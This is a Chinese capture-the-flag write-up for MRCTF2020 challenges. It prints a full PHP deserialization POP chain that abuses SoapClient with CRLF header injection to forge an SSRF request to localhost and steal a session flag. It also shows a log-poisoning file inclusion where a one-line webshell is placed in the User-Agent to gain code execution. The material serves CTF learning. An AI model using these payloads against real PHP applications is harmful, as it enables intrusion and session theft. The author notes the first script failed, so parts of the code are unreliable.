[MRCTF2020]Ezpop_Revenge
www.zip源码泄露,下载下来审计一下,有一个flag.php,看起来是需要SSRF漏洞的因为需要你访问的来源是127.0.0.1
<?php if(!isset($_SESSION)) session_start(); if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ $_SESSION['flag']= "MRCTF{******}"; }else echo "我扌your problem?\nonly localhost can get flag!"; ?>
|
毕竟是框架题,看了一下,应该是要反序列化找ssrf的漏洞的位点然后去打,全局搜索一下反序列化函数,可以发现,我们传入的coincidence[‘hello’], $this->coincidence[‘world’]会被分为两个部分传入Typecho_Db
<?php class HelloWorld_DB{ private $flag="MRCTF{this_is_a_fake_flag}"; private $coincidence; function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } } class HelloWorld_Plugin implements Typecho_Plugin_Interface{ public function action(){ if(!isset($_SESSION)) session_start(); if(isset($_REQUEST['admin'])) var_dump($_SESSION); if (isset($_POST['C0incid3nc3'])) { if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0) unserialize(base64_decode($_POST['C0incid3nc3'])); else { echo "Not that easy."; } } } } ?>
|
传入之后,在这里进行进行了一个拼接,并在最后实例化了这个类,可以看到这里提示了一个tostring
方法,所以我们就去找找Typecho_Db,看看是否有这个tostring方法,可以进行操作
public function __construct($adapterName, $prefix = 'typecho_') { $this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); }
$this->_prefix = $prefix;
$this->_pool = array(); $this->_connectedPool = array(); $this->_config = array();
$this->_adapter = new $adapterName(); }
|
可以发现,这里有一个tostring方法可以进行操作,其实链子到这里就似乎已经断了,但是该如何实现ssrf呢?就要想到一个php的内置类soapclient,而这里有个点,_adapter->parseSelect,如果将adapter赋值为这个类,那么就会调用这个类中不存在的方法,相当于触发了其中的call函数,并且这里还有可控的参数供我们写入
class Typecho_Db_Query { const KEYWORDS = '*PRIMARY|AND|OR|LIKE|BINARY|BY|DISTINCT|AS|IN|IS|NULL'; private static $_default = array( 'action' => NULL, 'table' => NULL, 'fields' => '*', 'join' => array(), 'where' => NULL, 'limit' => NULL, 'offset' => NULL, 'order' => NULL, 'group' => NULL, 'having' => NULL, 'rows' => array(), ); private $_adapter; private $_sqlPreBuild; private $_prefix; private $_params = array(); public function __toString() { switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } }
return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL; } }
|
梳理一下pop链的逻辑
1.HelloWorld_Plugin为pop链反序列化的入口,跳转至HelloWorld_DB类中进行Typecho_Db进行一个初始化,并通过concidence传入数值
2.通过tostring跳转至Typecho_Db的tostring魔术方法中
3.针对adatpter的一个调用赋值为sopa类并进行sopa类的call方法的调用,最后利用这个call方法进行一个ssrf发送报文实现flag的获取
所以初步的一个pop链就是
<?php
class HelloWorld_DB { private $flag = "MRCTF{this_is_a_fake_flag}"; private $coincidence; function __construct() { $this->coincidence=array("hello"=>new Typecho_Db_Query()); }
} class Typecho_Db_Query {
function __construct() {
$this->_adapter = new SoapClient(); $this->_sqlPreBuild=array("action"=>"SELECT"); $this->_adapter=new SoapClient;
} }
|
但是我们要将flag带出来,还需要吧自己的phpsessid传过来,然而soap并不能设置cookie,因此需要crlf,soapclient可以这只ua,只要在ua后加上\r\nCookie:PHPSESSID=xxx,就可以为http头添加一个新的cookie字段,这样就可以带出session了,最后就是寻找一下其中的路由即可,
在/var/Typecho/Plugin.php 就有如下路由
*/ public static function activate($pluginName) { self::$_plugins['activated'][$pluginName] = self::$_tmp; self::$_tmp = array(); Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action'); }
|
但是在后面看了题解,发现这题有一个坑,就是这里private属性不能单纯的使用%00绕过需要将其转为十六进制才行
所以最终的脚本如下:
<?php
class HelloWorld_DB { private $flag = "MRCTF{this_is_a_fake_flag}"; private $coincidence; function __construct() { $this->coincidence=array("hello"=>new Typecho_Db_Query()); }
} class Typecho_Db_Query { private $_adapter; private $_sqlPreBuild; function __construct() { $target = "http://127.0.0.1/flag.php"; $post_string = ''; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=abcd' );
$a = new SoapClient(null,array('location' => $target, 'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri' => "aaab")); $this->_adapter = $a; $this->_sqlPreBuild=array("action"=>"SELECT");
} } function decorate($str) { $arr = explode(':', $str); $newstr = ''; for ($i = 0; $i < count($arr); $i++) { if (preg_match('/00/', $arr[$i])) { $arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]); } } $i = 0; for (; $i < count($arr) - 1; $i++) { $newstr .= $arr[$i]; $newstr .= ":"; } $newstr .= $arr[$i]; return $newstr; }
$a = new HelloWorld_DB(); $a = preg_replace(" /\^\^/", "\r\n", $a); $urlen = urlencode($a); $urlen = preg_replace('/%00/', '%5c%30%30', $urlen); $a = decorate(urldecode($urlen)); echo base64_encode($a);
|
但是很奇怪,用这个生成的payload打不通,于是我们来比对看看是哪里出了问题,测试了一下,原来问题出在http头的书写过程中
$target = "http://127.0.0.1/flag.php"; $post_string = ''; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=abcd' );
$a = new SoapClient(null,array('location' => $target, 'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri' => "aaab")); $this->_adapter = $a;
|
ALL_INFO_YOU_WANT
这种解法比较签到,是常规思路,这题的定位本来就是个白给的题目,所以就没改掉日志
由 http 回包 header 得知是 NGINX,直接:
all_info_u_want.php?file=../../../../../var/log/nginx/access.log
|
但是因为 url 会被 url 编码,可以把一句话木马写在 User-Agent,另外记得一定要闭合不然 php 执行会出错,包含即可 RCE
找flag新语句:通过文件内容找flag
find / -name "*" | xargs grep "flag{"
|